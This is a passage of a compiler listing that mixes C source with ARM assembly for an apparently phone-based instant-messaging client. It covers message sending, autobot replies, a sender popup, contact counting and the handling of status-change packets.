R0,[R11, #+0] 4737 p->pkt.type=T_SENDMSG; \ 00000850 B490CBE1 STRH R9,[R11, #+4] 4738 p->pkt.data_len=strlen(send_txt); \ 00000854 0800A0E1 MOV R0,R8 \ 00000858 1B0000EF SWI +27 \ 0000085C B600CBE1 STRH R0,[R11, #+6] 4739 strcpy(p->data,send_txt); \ 00000860 0810A0E1 MOV R1,R8 \ 00000864 08008BE2 ADD R0,R11,#+8 \ 00000868 1A0000EF SWI +26 4740 if(show_send_info) \ 0000086C 900195E5 LDR R0,[R5, #+400] \ 00000870 04D08DE2 ADD SP,SP,#+4 \ 00000874 000050E3 CMP R0,#+0 \ 00000878 6C0295E5 LDR R0,[R5, #+620] \ 0000087C 010080E2 ADD R0,R0,#+1 \ 00000880 6C0285E5 STR R0,[R5, #+620] \ 00000884 5DFFFF0A BEQ ??CheckComand_17 4741 AddStringToLog(t,0x01,"Sending url info...",I_str,(++SENDMSGCOUNT)&0x7FFF,1); \ 00000888 0110A0E3 MOV R1,#+1 \ 0000088C 02002DE9 PUSH {R1} \ 00000890 00000AE0 AND R0,R10,R0 \ 00000894 01002DE9 PUSH {R0} \ 00000898 103086E2 ADD R3,R6,#+16 \ 0000089C 7C2086E2 ADD R2,R6,#+124 \ 000008A0 53FFFFEA B ??CheckComand_24 4742 else 4743 SENDMSGCOUNT++; 4744 SUBPROC((void *)SendAnswer,0,p); 4745 mfree(send_txt); 4746 return; 4747 } 4748 4749 // if((t->uin==AUTOBOT_UIN)&&(autobot)) 4750 #ifdef kluchnik // не доступно для всех,потому что имхо,будет еще большая перегрузка серверов!!!а оно нам надо? 4751 if(t->isautobot) \ ??CheckComand_31: \ 000008A4 680094E5 LDR R0,[R4, #+104] \ 000008A8 000050E3 CMP R0,#+0 \ 000008AC 2800000A BEQ ??CheckComand_32 4752 { 4753 TPKT *p; 4754 int i=LoadBotMessage(t->uin); \ 000008B0 0C0094E5 LDR R0,[R4, #+12] \ 000008B4 ........ BL LoadBotMessage 4755 if(i==0) return;//если нет никаких файлов то просто возвращаемся \ 000008B8 000050E3 CMP R0,#+0 \ 000008BC 2400000A BEQ ??CheckComand_32 4756 char *pp=bot_lines[t->bot_msg]; \ 000008C0 581094E5 LDR R1,[R4, #+88] \ 000008C4 E02295E5 LDR R2,[R5, #+736] \ 000008C8 01B192E7 LDR R11,[R2, +R1, LSL #+2] 4757 t->bot_msg++; \ 000008CC 011081E2 ADD R1,R1,#+1 \ 000008D0 581084E5 STR R1,[R4, #+88] 4758 if(t->bot_msg==i) \ 000008D4 000051E1 CMP R1,R0 4759 t->bot_msg=0; \ 000008D8 58808405 STREQ R8,[R4, #+88] 4760 p=malloc(sizeof(PKT)+strlen(pp)+1); \ 000008DC 0B00A0E1 MOV R0,R11 \ 000008E0 1B0000EF SWI +27 \ 000008E4 090080E2 ADD R0,R0,#+9 \ 000008E8 140000EF SWI +20 \ 000008EC 0080A0E1 MOV R8,R0 4761 p->pkt.uin=t->uin; \ 000008F0 0C0094E5 LDR R0,[R4, #+12] \ 000008F4 000088E5 STR R0,[R8, #+0] 4762 p->pkt.type=T_SENDMSG; \ 000008F8 B490C8E1 STRH R9,[R8, #+4] 4763 p->pkt.data_len=strlen(pp); \ 000008FC 0B00A0E1 MOV R0,R11 \ 00000900 1B0000EF SWI +27 \ 00000904 B600C8E1 STRH R0,[R8, #+6] 4764 strcpy(p->data,pp); \ 00000908 0B10A0E1 MOV R1,R11 \ 0000090C 080088E2 ADD R0,R8,#+8 \ 00000910 1A0000EF SWI +26 4765 AddStringToLog(t,0x01,pp,"Autobot",(++SENDMSGCOUNT)&0x7FFF,1); \ 00000914 6C0295E5 LDR R0,[R5, #+620] \ 00000918 0110A0E3 MOV R1,#+1 \ 0000091C 010080E2 ADD R0,R0,#+1 \ 00000920 6C0285E5 STR R0,[R5, #+620] \ 00000924 02002DE9 PUSH {R1} \ 00000928 00000AE0 AND R0,R10,R0 \ 0000092C 01002DE9 PUSH {R0} \ 00000930 5C3086E2 ADD R3,R6,#+92 \ 00000934 0B20A0E1 MOV R2,R11 \ 00000938 0400A0E1 MOV R0,R4 \ 0000093C ........ BL AddStringToLog 4766 SUBPROC((void *)SendAnswer,0,p); \ 00000940 0820A0E1 MOV R2,R8 \ 00000944 0010A0E3 MOV R1,#+0 \ 00000948 0700A0E1 MOV R0,R7 \ 0000094C 710100EF SWI +369 \ ??CheckComand_8: \ 00000950 08D08DE2 ADD SP,SP,#+8 ;; stack cleaning \ ??CheckComand_32: \ 00000954 47DF8DE2 ADD SP,SP,#+284 ;; stack cleaning \ 00000958 F08FBDE8 POP {R4-R11,PC} ;; return 4767 } 4768 #endif 4769 4770 } 4771 //===========================komand list end 4772 \ In segment DATA_Z, align 4, align-sorted 4773 char INC_Nick[32]; \ INC_Nick: \ 00000000 DS8 32 4774 char show_nick[32]; 4775 int INC_show; 4776 4777 const char color[4]={255,255,255,100}; 4778 \ In segment CODE, align 4, keep-with-next 4779 void show_pp_sender() 4780 { \ show_pp_sender: \ 00000000 F0432DE9 PUSH {R4-R9,LR} 4781 if(INC_show>0) \ 00000004 ........ LDR R4,??DataTable93 ;; S_ICONS \ 00000008 08D04DE2 SUB SP,SP,#+8 \ 0000000C BC0394E5 LDR R0,[R4, #+956] \ 00000010 010050E3 CMP R0,#+1 \ 00000014 F383BDB8 POPLT {R0,R1,R4-R9,PC} 4782 { 4783 WSHDR *ws=AllocWS(256); 4784 ascii2ws(ws,show_nick); 4785 int csm_oncreate_addr = ((int*)(((CSM_RAM*)(CSM_root()->csm_q->csm.last))->constr))[1] - 1; 4786 char java_oncreate_pattern[8] = {0xB0, 0xB5, 0x04, 0x1C, 0x00, 0x25, 0x05, 0x61}; \ 00000018 2C619FE5 LDR R6,??show_pp_sender_0 ;; `?` \ 0000001C 400FA0E3 MOV R0,#+256 \ 00000020 250100EF SWI +293 \ 00000024 0050A0E1 MOV R5,R0 \ 00000028 C800A0E3 MOV R0,#+200 \ 0000002C A00D80E3 ORR R0,R0,#0x2800 \ 00000030 041080E0 ADD R1,R0,R4 \ 00000034 0500A0E1 MOV R0,R5 \ 00000038 ........ _BLF ascii2ws,??ascii2ws??rA \ 0000003C 068100EF SWI +33030 \ 00000040 080090E5 LDR R0,[R0, #+8] \ 00000044 880096E8 LDM R6,{R3,R7} \ 00000048 0C0090E5 LDR R0,[R0, #+12] \ 0000004C 0D10A0E1 MOV R1,SP \ 00000050 080090E5 LDR R0,[R0, #+8] 4787 if(!(memcmp((void*)csm_oncreate_addr, java_oncreate_pattern, 8))) \ 00000054 0820A0E3 MOV R2,#+8 \ 00000058 040090E5 LDR R0,[R0, #+4] \ 0000005C 880081E8 STM R1,{R3,R7} \ 00000060 010040E2 SUB R0,R0,#+1 \ 00000064 1C0100EF SWI +284 \ 00000068 000050E3 CMP R0,#+0 \ 0000006C 0000001A BNE ??show_pp_sender_1 4788 { 4789 extern void DrawScreenShot(); 4790 DrawScreenShot(); \ 00000070 ........ _BLF DrawScreenShot,??DrawScreenShot??rA 4791 } 4792 DrawRectangle(0,0,Get_WS_width(ws,font)+2,GetFontYSIZE(font)+2,0,GetPaletteAdrByColorIndex(1),GetPaletteAdrByColorIndex(1)); \ ??show_pp_sender_1: \ 00000074 0100A0E3 MOV R0,#+1 \ 00000078 2E0100EF SWI +302 \ 0000007C 0070A0E1 MOV R7,R0 \ 00000080 0100A0E3 MOV R0,#+1 \ 00000084 2E0100EF SWI +302 \ 00000088 0080A0E1 MOV R8,R0 \ 0000008C AC0294E5 LDR R0,[R4, #+684] \ 00000090 C50100EF SWI +453 \ 00000094 AC1294E5 LDR R1,[R4, #+684] \ 00000098 0090A0E1 MOV R9,R0 \ 0000009C 0500A0E1 MOV R0,R5 \ 000000A0 080200EF SWI +520 \ 000000A4 80002DE9 PUSH {R7} \ 000000A8 00012DE9 PUSH {R8} \ 000000AC 0010A0E3 MOV R1,#+0 \ 000000B0 02002DE9 PUSH {R1} \ 000000B4 023089E2 ADD R3,R9,#+2 \ 000000B8 022080E2 ADD R2,R0,#+2 \ 000000BC 0000A0E3 MOV R0,#+0 \ 000000C0 B40100EF SWI +436 4793 DrawString(ws,1,1,1+Get_WS_width(ws,font)+2,1+GetFontYSIZE(font),font,0,( char*) color,GetPaletteAdrByColorIndex(23)); \ 000000C4 1700A0E3 MOV R0,#+23 \ 000000C8 2E0100EF SWI +302 \ 000000CC 0080A0E1 MOV R8,R0 \ 000000D0 AC0294E5 LDR R0,[R4, #+684] \ 000000D4 C50100EF SWI +453 \ 000000D8 AC1294E5 LDR R1,[R4, #+684] \ 000000DC 0070A0E1 MOV R7,R0 \ 000000E0 0500A0E1 MOV R0,R5 \ 000000E4 080200EF SWI +520 \ 000000E8 00012DE9 PUSH {R8} \ 000000EC 081086E2 ADD R1,R6,#+8 \ 000000F0 02002DE9 PUSH {R1} \ 000000F4 033080E2 ADD R3,R0,#+3 \ 000000F8 0120A0E3 MOV R2,#+1 \ 000000FC 0500A0E1 MOV R0,R5 \ 00000100 0010A0E3 MOV R1,#+0 \ 00000104 02002DE9 PUSH {R1} \ 00000108 AC1294E5 LDR R1,[R4, #+684] \ 0000010C 02002DE9 PUSH {R1} \ 00000110 011087E2 ADD R1,R7,#+1 \ 00000114 02002DE9 PUSH {R1} \ 00000118 0210A0E1 MOV R1,R2 \ 0000011C 4C0100EF SWI +332 4794 4795 FreeWS(ws); \ 00000120 0500A0E1 MOV R0,R5 \ 00000124 290100EF SWI +297 4796 INC_show--; \ 00000128 BC0394E5 LDR R0,[R4, #+956] 4797 GBS_StartTimerProc(&develop, 10, show_pp_sender); \ 0000012C 1C209FE5 LDR R2,??show_pp_sender_0+0x4 ;; show_pp_sender \ 00000130 010040E2 SUB R0,R0,#+1 \ 00000134 BC0384E5 STR R0,[R4, #+956] \ 00000138 0A10A0E3 MOV R1,#+10 \ 0000013C 9D0D84E2 ADD R0,R4,#+10048 \ 00000140 4D0000EF SWI +77 \ 00000144 20D08DE2 ADD SP,SP,#+32 4798 } 4799 } \ 00000148 F383BDE8 POP {R0,R1,R4-R9,PC} ;; return \ ??show_pp_sender_0: \ 0000014C ........ DC32 `?` \ 00000150 ........ DC32 show_pp_sender 4800 4801 4802 \ In segment CODE, align 4, keep-with-next 4803 void Get_Online_total() 4804 { 4805 CLIST *t; 4806 kopa_online=0; \ Get_Online_total: \ 00000000 ........ LDR R0,??DataTable93 ;; S_ICONS \ 00000004 0010A0E3 MOV R1,#+0 \ 00000008 2C1380E5 STR R1,[R0, #+812] 4807 kopa_kontaktu=0; \ 0000000C 301380E5 STR R1,[R0, #+816] 4808 t=(CLIST *)(&cltop); \ 00000010 C41F80E2 ADD R1,R0,#+784 \ 00000014 FF30A0E3 MOV R3,#+255 \ 00000018 FF3C83E3 ORR R3,R3,#0xFF00 \ 0000001C 0A0000EA B ??Get_Online_total_0 4809 while(t=(CLIST *)(t->next)) 4810 { 4811 if (!t->isgroup) \ ??Get_Online_total_1: \ 00000020 082091E5 LDR R2,[R1, #+8] \ 00000024 000052E3 CMP R2,#+0 \ 00000028 0700001A BNE ??Get_Online_total_0 4812 { 4813 kopa_online++; \ 0000002C 2C2390E5 LDR R2,[R0, #+812] \ 00000030 012082E2 ADD R2,R2,#+1 \ 00000034 2C2380E5 STR R2,[R0, #+812] 4814 if (t->state!=65535) kopa_kontaktu++; \ 00000038 B425D1E1 LDRH R2,[R1, #+84] \ 0000003C 030052E1 CMP R2,R3 \ 00000040 30239015 LDRNE R2,[R0, #+816] \ 00000044 01208212 ADDNE R2,R2,#+1 \ 00000048 30238015 STRNE R2,[R0, #+816] 4815 } 4816 } \ ??Get_Online_total_0: \ 0000004C 001091E5 LDR R1,[R1, #+0] \ 00000050 000051E3 CMP R1,#+0 \ 00000054 F1FFFF1A BNE ??Get_Online_total_1 4817 } \ 00000058 1EFF2FE1 BX LR ;; return 4818 4819 4820 //-------------------------------------------------------------------------------------------// 4821 4822 \ In segment CODE, align 4, keep-with-next 4823 void SetIndividStatus()//set to all contact to default vibra, sound and show xstatus by kluchnik 04.04.08 4824 { 4825 CLIST *t; 4826 t=(CLIST *)(&cltop); \ SetIndividStatus: \ 00000000 ........ LDR R0,??DataTable94 ;; S_ICONS + 784 \ 00000004 070000EA B ??SetIndividStatus_0 4827 while(t=(CLIST *)(t->next)) 4828 { 4829 if (!t->isgroup) \ ??SetIndividStatus_1: \ 00000008 081090E5 LDR R1,[R0, #+8] \ 0000000C 000051E3 CMP R1,#+0 \ 00000010 0400001A BNE ??SetIndividStatus_0 4830 { 4831 t->isvibra=1; \ 00000014 0110A0E3 MOV R1,#+1 \ 00000018 5C1080E5 STR R1,[R0, #+92] 4832 t->issound=1; \ 0000001C 601080E5 STR R1,[R0, #+96] 4833 t->isShowXst=0; \ 00000020 0010A0E3 MOV R1,#+0 \ 00000024 701080E5 STR R1,[R0, #+112] 4834 } 4835 } \ ??SetIndividStatus_0: \ 00000028 000090E5 LDR R0,[R0, #+0] \ 0000002C 000050E3 CMP R0,#+0 \ 00000030 F4FFFF1A BNE ??SetIndividStatus_1 4836 } \ 00000034 1EFF2FE1 BX LR ;; return 4837 4838 //-------------------------------------------------------------------------------------------// 4839 4840 \ In segment CODE, align 4, keep-with-next 4841 ProcessPacket(TPKT *p) 4842 { \ ProcessPacket: \ 00000000 F04F2DE9 PUSH {R4-R11,LR} \ 00000004 58DF4DE2 SUB SP,SP,#+352 4843 CLIST *t; 4844 LOGQ *q; 4845 char s[256]; 4846 switch(p->pkt.type) \ 00000008 ........ LDR R5,??DataTable99 ;; `?` \ 0000000C ........ LDR R7,??DataTable98 ;; S_ICONS \ 00000010 0040A0E1 MOV R4,R0 \ 00000014 B410D4E1 LDRH R1,[R4, #+4] \ 00000018 000094E5 LDR R0,[R4, #+0] \ 0000001C 0160A0E3 MOV R6,#+1 \ 00000020 0080A0E3 MOV R8,#+0 \ 00000024 031041E2 SUB R1,R1,#+3 \ 00000028 1C0051E3 CMP R1,#+28 \ 0000002C 7B02008A BHI ??ProcessPacket_2 \ 00000030 022F8FE2 ADR R2,??ProcessPacket_0 \ 00000034 8110A0E1 MOV R1,R1, LSL #+1 \ 00000038 B12092E1 LDRH R2,[R2, R1] \ 0000003C 02F18FE0 ADD PC,PC,R2, LSL #+2 \ ??ProcessPacket_0: \ 00000040 2E010E007702 DC16 +302,+14,+631,+631 \ 7702 \ 00000048 110077024B00 DC16 +17,+631,+75,+631 \ 7702 \ 00000050 770277027702 DC16 +631,+631,+631,+631 \ 7702 \ 00000058 7702E201E201 DC16 +631,+482,+482,+631 \ 7702 \ 00000060 77023B004900 DC16 +631,+59,+73,+631 \ 7702 \ 00000068 770277020F02 DC16 +631,+631,+527,+631 \ 7702 \ 00000070 770277027702 DC16 +631,+631,+631,+631 \ 7702 \ 00000078 75020000 DC16 +629,+0 4847 { 4848 case T_LOGIN: 4849 set_my_status(); \ ??ProcessPacket_3: \ 0000007C ........ BL set_my_status 4850 set_my_xstatus(); \ 00000080 ........ BL set_my_xstatus \ 00000084 650200EA B ??ProcessPacket_2 4851 break; 4852 case T_CLENTRY: 4853 if (p->pkt.uin) \ ??ProcessPacket_4: \ 00000088 000050E3 CMP R0,#+0 \ 0000008C 1800000A BEQ ??ProcessPacket_5 4854 { 4855 if ((t=FindContactByUin(p->pkt.uin))) \ 00000090 ........ _BLF FindContactByUin,??FindContactByUin??rA \ 00000094 0090B0E1 MOVS R9,R0 \ 00000098 0E00000A BEQ ??ProcessPacket_6 4856 { 4857 // t->state=0xFFFF; 4858 if (!t->local) strncpy(t->name,p->data,63); \ 0000009C AC0099E5 LDR R0,[R9, #+172] \ 000000A0 000050E3 CMP R0,#+0 \ 000000A4 0300001A BNE ??ProcessPacket_7 \ 000000A8 3F20A0E3 MOV R2,#+63 \ 000000AC 081084E2 ADD R1,R4,#+8 \ 000000B0 140089E2 ADD R0,R9,#+20 \ 000000B4 160100EF SWI +278 4859 t->group=GROUP_CACHE; \ ??ProcessPacket_7: \ 000000B8 140397E5 LDR R0,[R7, #+788] \ 000000BC 100089E5 STR R0,[R9, #+16] 4860 ChangeContactPos(t); \ ??ProcessPacket_8: \ 000000C0 0900A0E1 MOV R0,R9 \ 000000C4 ........ _BLF ChangeContactPos,??ChangeContactPos??rA 4861 RecountMenu(t,1); \ 000000C8 0110A0E3 MOV R1,#+1 \ 000000CC 0900A0E1 MOV R0,R9 \ ??ProcessPacket_9: \ 000000D0 ........ BL RecountMenu \ 000000D4 510200EA B ??ProcessPacket_2 4862 } 4863 else 4864 { 4865 RecountMenu(AddContact(p->pkt.uin,p->data, GROUP_CACHE, 0),1); \ ??ProcessPacket_6: \ 000000D8 142397E5 LDR R2,[R7, #+788] \ 000000DC 000094E5 LDR R0,[R4, #+0] \ 000000E0 0030A0E3 MOV R3,#+0 \ 000000E4 081084E2 ADD R1,R4,#+8 \ 000000E8 ........ _BLF AddContact,??AddContact??rA \ 000000EC 0610A0E1 MOV R1,R6 \ 000000F0 F6FFFFEA B ??ProcessPacket_9 4866 } 4867 } 4868 else 4869 { 4870 if(VIBR_ON_CONNECT) \ ??ProcessPacket_5: \ 000000F4 740197E5 LDR R0,[R7, #+372] \ 000000F8 000050E3 CMP R0,#+0 \ 000000FC 0100000A BEQ ??ProcessPacket_10 4871 { 4872 vibra_count=1; \ 00000100 D06287E5 STR R6,[R7, #+720] 4873 start_vibra(); \ 00000104 ........ BL start_vibra 4874 } 4875 GROUP_CACHE=0; \ ??ProcessPacket_10: \ 00000108 148387E5 STR R8,[R7, #+788] 4876 ask_my_info(); 4877 if (contactlist_menu_id) \ 0000010C 180397E5 LDR R0,[R7, #+792] \ 00000110 000050E3 CMP R0,#+0 \ 00000114 0200000A BEQ ??ProcessPacket_11 4878 { 4879 RecountMenu(NULL,1); \ 00000118 0110A0E3 MOV R1,#+1 \ 0000011C 0800A0E1 MOV R0,R8 \ ??ProcessPacket_12: \ 00000120 EAFFFFEA B ??ProcessPacket_9 4880 } 4881 else 4882 { 4883 create_contactlist_menu(); \ ??ProcessPacket_11: \ 00000124 ........ BL create_contactlist_menu 4884 SetIndividStatus(); \ 00000128 ........ BL SetIndividStatus \ 0000012C 3B0200EA B ??ProcessPacket_2 4885 // if(!dontLogOnConnect && isLogOnline) dontLogOnConnect=1; 4886 } 4887 } 4888 break; 4889 case T_GROUPID: 4890 if (t=FindGroupByID(GROUP_CACHE=p->pkt.uin)) \ ??ProcessPacket_13: \ 00000130 140387E5 STR R0,[R7, #+788] \ 00000134 ........ _BLF FindGroupByID,??FindGroupByID??rA \ 00000138 0090B0E1 MOVS R9,R0 \ 0000013C 0400000A BEQ ??ProcessPacket_14 4891 { 4892 strncpy(t->name,p->data,63); \ 00000140 3F20A0E3 MOV R2,#+63 \ 00000144 081084E2 ADD R1,R4,#+8 \ 00000148 140089E2 ADD R0,R9,#+20 \ 0000014C 160100EF SWI +278 4893 ChangeContactPos(t); \ 00000150 DAFFFFEA B ??ProcessPacket_8 4894 RecountMenu(t,1); 4895 } 4896 else 4897 { 4898 RecountMenu(AddGroup(p->pkt.uin,p->data),1); \ ??ProcessPacket_14: \ 00000154 000094E5 LDR R0,[R4, #+0] \ 00000158 081084E2 ADD R1,R4,#+8 \ 0000015C ........ _BLF AddGroup,??AddGroup??rA \ 00000160 0110A0E3 MOV R1,#+1 \ 00000164 D9FFFFEA B ??ProcessPacket_9 4899 } 4900 break; 4901 case T_GROUPFOLLOW: 4902 GROUP_CACHE=p->pkt.uin; \ ??ProcessPacket_15: \ 00000168 140387E5 STR R0,[R7, #+788] \ 0000016C 2B0200EA B ??ProcessPacket_2 4903 break; 4904 case T_STATUSCHANGE: 4905 t=FindContactByUin(p->pkt.uin); \ ??ProcessPacket_16: \ 00000170 ........ _BLF FindContactByUin,??FindContactByUin??rA \ 00000174 0090B0E1 MOVS R9,R0 4906 if (t) \ 00000178 D000000A BEQ ??ProcessPacket_17 4907 { 4908 int i=t->state; \ 0000017C B415D9E1 LDRH R1,[R9, #+84] 4909 CLIST *oldt=NULL; \ 00000180 00A0A0E3 MOV R10,#+0 \ 00000184 00108DE5 STR R1,[SP, #+0] \ 00000188 0A00D4E5 LDRB R0,[R4, #+10] \ 0000018C B615D9E1 LDRH R1,[R9, #+86] \ 00000190 000051E1 CMP R1,R0 \ 00000194 1B00000A BEQ ??ProcessPacket_18 4910 if (t->xstate!=p->data[2]) // Если картинка икс статуса сменилась 4911 { 4912 t->xstate=p->data[2]; \ 00000198 B605C9E1 STRH R0,[R9, #+86] 4913 FreeXText(t); \ 0000019C 0900A0E1 MOV R0,R9 \ 000001A0 ........ _BLF FreeXText,??FreeXText??rA 4914 if (t->xstate && ENA_AUTO_XTXT) // Если установлен икс статус и можно запрашивать по смене икс статуса :) \ 000001A4 B605D9E1 LDRH R0,[R9, #+86] \ 000001A8 000050E3 CMP R0,#+0 \ 000001AC E8019715 LDRNE R0,[R7, #+488] \ 000001B0 00005013 CMPNE R0,#+0 \ 000001B4 1200000A BEQ ??ProcessPacket_19 4915 { 4916 t->req_xtext=1; \ 000001B8 A86089E5 STR R6,[R9, #+168] 4917 if (edchat_id) // Если открыт чат \ 000001BC 1C0397E5 LDR R0,[R7, #+796] \ 000001C0 000050E3 CMP R0,#+0 \ 000001C4 0F00000A BEQ ??ProcessPacket_18 4918 { 4919 void *data=FindGUIbyId(edchat_id,NULL); \ 000001C8 1C0397E5 LDR R0,[R7, #+796] \ 000001CC 0010A0E3 MOV R1,#+0 \ 000001D0 090200EF SWI +521 4920 if (data) \ 000001D4 000050E3 CMP R0,#+0 \ 000001D8 0A00000A BEQ ??ProcessPacket_18 4921 { 4922 EDCHAT_STRUCT *ed_struct=EDIT_GetUserPointer(data); \ 000001DC DF0100EF SWI +479 4923 if (ed_struct) \ 000001E0 000050E3 CMP R0,#+0 \ 000001E4 0700000A BEQ ??ProcessPacket_18 4924 { 4925 if (ed_struct->ed_contact==t) // Если наш чат то запрашиваем текст статуса \ 000001E8 000090E5 LDR R0,[R0, #+0] \ 000001EC 090050E1 CMP R0,R9 \ 000001F0 0400001A BNE ??ProcessPacket_18 4926 { 4927 t->req_xtext=0; \ 000001F4 A88089E5 STR R8,[R9, #+168] 4928 RequestXText(t->uin); \ 000001F8 0C0099E5 LDR R0,[R9, #+12] \ 000001FC ........ BL RequestXText \ 00000200 000000EA B ??ProcessPacket_18 4929 } 4930 } 4931 } 4932 } 4933 } 4934 else // Если икс статус не установлен то на всякий случай снимаем флаг получения текста 4935 { 4936 t->req_xtext=0; \ ??ProcessPacket_19: \ 00000204 A88089E5 STR R8,[R9, #+168] 4937 } 4938 } 4939 if (contactlist_menu_id) \ ??ProcessPacket_18: \ 00000208 180397E5 LDR R0,[R7, #+792] \ 0000020C 000050E3 CMP R0,#+0 \ 00000210 0500000A BEQ ??ProcessPacket_20 4940 { 4941 oldt=FindContactByN(GetCurMenuItem(FindGUIbyId(contactlist_menu_id,NULL))); \ 00000214 180397E5 LDR R0,[R7, #+792] \ 00000218 0010A0E3 MOV R1,#+0 \ 0000021C 090200EF SWI +521 \ 00000220 8F0100EF SWI +399 \ 00000224 ........ _BLF FindContactByN,??FindContactByN??rA \ 00000228 00A0A0E1 MOV R10,R0 4942 } 4943 if(t->state==65535) t->change=1; \ ??ProcessPacket_20: \ 0000022C B405D9E1 LDRH R0,[R9, #+84] \ 00000230 FFB0A0E3 MOV R11,#+255 \ 00000234 FFBC8BE3 ORR R11,R11,#0xFF00 \ 00000238 0B0050E1 CMP R0,R11 \ 0000023C 78608905 STREQ R6,[R9, #+120] 4944 t->state=*((unsigned short *)(p->data)); \ 00000240 B800D4E1 LDRH R0,[R4, #+8] \ 00000244 B405C9E1 STRH R0,[R9, #+84] 4945 if((t->state!=65535)&&(t->change==1)) \ 00000248 0B0050E1 CMP R0,R11 \ 0000024C 0400000A BEQ ??ProcessPacket_21 \ 00000250 780099E5 LDR R0,[R9, #+120] \ 00000254 010050E3 CMP R0,#+1 4946 { 4947 t->just_now=2; \ 00000258 0200A003 MOVEQ R0,#+2 \ 0000025C 6C008905 STREQ R0,[R9, #+108] 4948 t->change=0; \ 00000260 78808905 STREQ R8,[R9, #+120] 4949 } 4950 LogStatusChange(t); \ ??ProcessPacket_21: \ 00000264 0900A0E1 MOV R0,R9 \ 00000268 ........ _BLF LogStatusChange,??LogStatusChange??rA 4951 ChangeContactPos(t); \ 0000026C 0900A0E1 MOV R0,R9 \ 00000270 ........ _BLF ChangeContactPos,??ChangeContactPos??rA 4952 RecountMenu(oldt,1); \ 00000274 0110A0E3 MOV R1,#+1 \ 00000278 0A00A0E1 MOV R0,R10 \ 0000027C ........ BL RecountMenu 4953 4954 if(isLogStatusChange)//isLogStatusChange // by kluchnik 05.04.08 \ 00000280 F40097E5 LDR R0,[R7, #+244] \ 00000284 000050E3 CMP R0,#+0 \ 00000288 5100000A BEQ ??ProcessPacket_22 4955 { 4956 int icon=GetIconIndex(t); 4957 char stat[32]; 4958 switch(icon) \ 0000028C 0900A0E1 MOV R0,R9 \ 00000290 ........ BL GetIconIndex \ 00000294 0C0050E3 CMP R0,#+12 \ 00000298 2100008A BHI ??ProcessPacket_23 \ 0000029C 011F8FE2 ADR R1,??ProcessPacket_1 \ 000002A0 0010D1E7 LDRB R1,[R1, R0] \ 000002A4 01F18FE0 ADD PC,PC,R1, LSL #+2 \ ??ProcessPacket_1: \ 000002A8 03050709 DC8 +3,+5,+7,+9 \ 000002AC 0B0D0F11 DC8 +11,+13,+15,+17 \ 000002B0 13151719 DC8 +19,+21,+23,+25 \ 000002B4 1B000000 DC8 +27,+0,+0,+0 4959 { 4960 case IS_OFFLINE : sprintf(stat,"Offline"); break; \ ??ProcessPacket_24: \ 000002B8 EA1F85E2 ADD R1,R5,#+936 \ 000002BC 160000EA B ??ProcessPacket_25 4961 case IS_INVISIBLE : sprintf(stat,"Invisable"); break; \ ??ProcessPacket_26: \ 000002C0 951F85E2 ADD R1,R5,#+596 \ 000002C4 140000EA B ??ProcessPacket_25 4962 case IS_AWAY : sprintf(stat,"Away"); break; \ ??ProcessPacket_27: \ 000002C8 931F85E2 ADD R1,R5,#+588 \ 000002CC 120000EA B ??ProcessPacket_25 4963 case IS_NA : sprintf(stat,"N/A"); break; \ ??ProcessPacket_28: \ 000002D0 DB1F8FE2 ADR R1,??ProcessPacket_29 ;; "N/A" \ 000002D4 100000EA B ??ProcessPacket_25 4964 case IS_OCCUPIED: sprintf(stat,"Occupied"); break; \ ??ProcessPacket_30: \ 000002D8 901F85E2 ADD R1,R5,#+576 \ 000002DC 0E0000EA B ??ProcessPacket_25 4965 case IS_DND : sprintf(stat,"DND"); break; \ ??ProcessPacket_31: \ 000002E0 D81F8FE2 ADR R1,??ProcessPacket_29+0x4 ;; "DND" \ 000002E4 0C0000EA B ??ProcessPacket_25 4966 case IS_DEPRESSION : sprintf(stat,"Depression"); break; \ ??ProcessPacket_32: \ 000002E8 8D1F85E2 ADD R1,R5,#+564 \ 000002EC 0A0000EA B ??ProcessPacket_25 4967 case IS_EVIL : sprintf(stat,"Evil"); break; \ ??ProcessPacket_33: \ 000002F0 8B1F85E2 ADD R1,R5,#+556 \ 000002F4 080000EA B ??ProcessPacket_25 4968 case IS_HOME : sprintf(stat,"Home"); break; \ ??ProcessPacket_34: \ 000002F8 891F85E2 ADD R1,R5,#+548 \ 000002FC 060000EA B ??ProcessPacket_25 4969 case IS_LUNCH : sprintf(stat,"Lunch"); break; \ ??ProcessPacket_35: \ 00000300 871F85E2 ADD R1,R5,#+540 \ 00000304 040000EA B ??ProcessPacket_25 4970 case IS_WORK : sprintf(stat,"Work"); break; \ ??ProcessPacket_36: \ 00000308 851F85E2 ADD R1,R5,#+532 \ 0000030C 020000EA B ??ProcessPacket_25 4971 case IS_ONLINE : sprintf(stat,"Online"); break; \ ??ProcessPacket_37: \ 00000310 831F85E2 ADD R1,R5,#+524 \ 00000314 000000EA B ??ProcessPacket_25 4972 case IS_FFC : sprintf(stat,"FFC"); break; \ ??ProcessPacket_38: \ 00000318 CB1F8FE2 ADR R1,??ProcessPacket_29+0x8 ;; "FFC" \ ??ProcessPacket_25: \ 0000031C 18008DE2 ADD R0,SP,#+24 \ 00000320 160000EF SWI +22 4973 } 4974 4975 FreeXText2(t); \ ??ProcessPacket_23: \ 00000324 0900A0E1 MOV R0,R9 \ 00000328 ........ BL FreeXText2 4976 TTime time; 4977 TDate date; 4978 GetDateTime(&date,&time); \ 0000032C 04108DE2 ADD R1,SP,#+4 \ 00000330 0C008DE2 ADD R0,SP,#+12 \ 00000334 B40000EF SWI +180 4979 char *txt=malloc(64); \ 00000338 4000A0E3 MOV R0,#+64 \ 0000033C 140000EF SWI +20 \ 00000340 00A0A0E1 MOV R10,R0 4980 sprintf(txt," %s: %02d:%02d:%02d %02d.%02d",stat,time.hour,time.min,time.sec,date.month,date.day); \ 00000344 1100DDE5 LDRB R0,[SP, #+17] \ 00000348 7B1F85E2 ADD R1,R5,#+492 \ 0000034C 01002DE9 PUSH {R0} \ 00000350 1400DDE5 LDRB R0,[SP, #+20] \ 00000354 01002DE9 PUSH {R0} \ 00000358 0E00DDE5 LDRB R0,[SP, #+14] \ 0000035C 01002DE9 PUSH {R0} \ 00000360 1100DDE5 LDRB R0,[SP, #+17] \ 00000364 01002DE9 PUSH {R0} \ 00000368 1430DDE5 LDRB R3,[SP, #+20] \ 0000036C 28208DE2 ADD R2,SP,#+40 \ 00000370 0A00A0E1 MOV R0,R10 \ 00000374 160000EF SWI +22 4981 4982 t->xtext2=malloc(64); \ 00000378 4000A0E3 MOV R0,#+64 \ 0000037C 140000EF SWI +20 \ 00000380 A40089E5 STR R0,[R9, #+164] 4983 snprintf(t->xtext2,64,txt); \ 00000384 